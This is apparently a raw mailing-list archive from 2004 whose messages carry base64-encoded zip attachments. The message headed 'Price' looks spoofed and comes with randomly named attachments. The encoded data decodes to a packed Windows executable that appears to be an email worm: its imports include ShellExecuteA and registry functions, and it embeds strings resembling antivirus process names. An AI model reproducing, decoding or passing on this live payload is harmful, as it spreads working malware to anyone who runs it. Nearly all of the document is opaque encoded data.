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 g+gDcg3B4AiKBkaD8P90dInFAdt1B4seg+78EdsRyQHbdQeLHoPu/BHbEcl1IEEB23UHix6D 7vwR2xHJAdtz73UJix6D7vwR23Pkg8ECgf0A8///g9EBjRQvg/38dg+KAkKIB0dJdffpY/// /5CLAoPCBIkHg8cEg+kEd/EBz+lM////Xon3uVsAAACKB0cs6DwBd/eAPwB18osHil8EZsHo CMHAEIbEKfiA6+gB8IkHg8cFidji2Y2+AJAAAIsHCcB0PItfBI2EMKSzAAAB81CDxwj/lgi0 AACVigdHCMB03In5V0jyrlX/lgy0AAAJwHQHiQODwwTr4f+WELQAAGHpWmL//wAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAAYAAAgAAAAAAAAAAA AAAAAAAAAQABAAAAOAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAUAAAAKTAAADoAgAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAEAAQAAAHgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAJAAAACQwwAA FAAAAAAAAAAAAAAAoJAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA /wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAACHd3d3d3d3d3d3d3cAAAAAj//////////////3AAAAAI//////////////9w AAAACP/3d3d3d3d3d3f/cAAAAAj/9///f/d3/3d//3AAAAAI//f//3/3d/93f/9wAAAACP/3 d3d393f/d3//cAAAAAj/9///f/d3d3d//3AAAAAI//f//3/3d/93f/9wAAAACP/3d3d393f/ d3//cCgoKCgoKCgof////3d//3CCgoKCgoKCgn//9/////9wKP///////yh3d3d3d3//cIL/ ///4KCiCf//3//9//3Ao8oKCgvKCKH//9///f/9wgvgoKC8oL4J3d3d3d3//cCjygoLygo8o f//3//9//3CC/ygvKCgvgn//9///f/9wKP/y8oKP/yh3d3d3d3//cIL/LygoKP+Cf//3//9/ /3Ao8vKCgoKPKH//9///f/9wgvgoKPgoL4J3d3d3gAAAACjygo//go8o/////4//eACC//// ////gv////+P94AAKCgoKCgoKCh3d3//j3gAAIKCgoKCgoKC/////4eAAAAAAAAI//////// //+IAAAAAAAACP//////////gAAAAAAAAAiIiIiIiIiIiIAAAAD///////////4AAAD+AAAA /gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAMAAAAHAAAAD/4AAB/+AAA/ /gAAf4iTAAAAAAEAAQAgIBAAAQAEAOgCAAABAAAAAAAAAAAAAAAAADDEAAAIxAAAAAAAAAAA AAAAAAAAPcQAABjEAAAAAAAAAAAAAAAAAABKxAAAIMQAAAAAAAAAAAAAAAAAAFbEAAAoxAAA AAAAAAAAAAAAAAAAAAAAAAAAAABgxAAAbsQAAH7EAAAAAAAAjMQAAAAAAACaxAAAAAAAAKrE AAAAAAAAS0VSTkVMMzIuRExMAGFkdmFwaTMyLmRsbABTSEVMTDMyLmRsbAB1c2VyMzIuZGxs AABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNzAABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3Nl S2V5AAAAU2hlbGxFeGVjdXRlQQAAAEZpbmRXaW5kb3dBAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQSwECFAAKAAAAAADAfVsw Sh/MnQA+AAAAPgAADAAAAAAAAAAAACAAAAAAAAAAa3ZucmV2YWkuZXhlUEsFBgAAAAABAAEA OgAAACo+AAAAAA== ----------lowvagrxcjpdlrdrtiit-- From aleksey@aleksey.com Fri Feb 27 18:19:05 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from npbovi (alb-66-65-221-239.nycap.rr.com [66.65.221.239]) by mail.gnome.org (Postfix) with SMTP id 6F4A218211 for ; Fri, 27 Feb 2004 18:19:04 -0500 (EST) Date: Fri, 27 Feb 2004 18:19:28 -0500 To: xslt@gnome.org From: aleksey@aleksey.com Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------obdmcraawthbguyqojxp" Subject: [xslt] Price Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: ----------obdmcraawthbguyqojxp Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ----------obdmcraawthbguyqojxp Content-Type: application/octet-stream; name="dacacbddcc.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="aacbcbbc.zip" UEsDBAoAAAAAACCSWzBKH8ydAD4AAAA+AAAMAAAAbnB0ZWxxaWMuZXhlTVqQAAMAAAAEAAAA //8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAA4f ug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0K JAAAAAAAAADEoj5LgMNQGIDDUBiAw1AYgMNQGIPDUBgO3EMYr8NQGGjcVRiBw1AYfONCGIHD UBhHxVYYgcNQGFJpY2iAw1AYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwBCRUBA AAAAAAAAAADgAA8BCwEFDABAAAAAEAAAAHAAALCwAAAAgAAAAMAAAAAAQAAAEAAAAAIAAAQA AAAAAAAABAAAAAAAAAAA0AAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA AAAAAAAAAACkwwAAFAEAAADAAACkAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAABVUFgwAAAAAABwAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAA AACAAADgVVBYMQAAAAAAQAAAAIAAAAA0AAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAA ABAAAADAAAAABgAAADgAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAMS4yNABVUFghDAkCCIWlHAXMc5u5GZQAAKgwAAAAbgAAJgAANP/b//9Vi+yDxOhT/3UI agBoOgQAAOgCDGSJRfyFwA+E/eXbtq8LABkMEqD0agRoABB/2XTtEQkW/AfV+DPbC8B07tnm vn0S9CwC+BsMiBZ/3WO3VDEwQFNAaA0JUApGko3Lw9rvRfBQMPhSBUsKnexgt+d3MiFq//91 7Hwm6FAL7N0G+zSLXegKEFOAADZpxv6DPQifcRCLw1vJwggA1PQMyBbA05BNGgzJyIH0DPhs sMjTEvgHEG8jtA82bIHE2P0jRAiI3X1/FyKJhRCDnwczwJIttu1eJMeF3BMkAh+NCdnZXPe9 tSQvUmUvfBj8tnsr3xKUTYud+A/rFDCbstlTWOvNDPX4v3yuYfdqAgMDaL1Ak/0cCze33UB1 BCYMHuz4UKwQti07O8eCzx9TNx/hhttKC2gmHGipgSsBx4vYH2TzbBUGeq6CI9hbw63ZbmN1 8FL8UByAARhwcAu/gEu4x1IEgVkGcw3v7nSOaCNtvpqHbuviKAvwqwEFZA4TnjDmI/926bgL vda9e7BwM7LJwwYCPbhQR0DFe1l39jWggIs+PAwPANE6n3WfLaL8U1Z+bB4Mpmju/xl7KGms 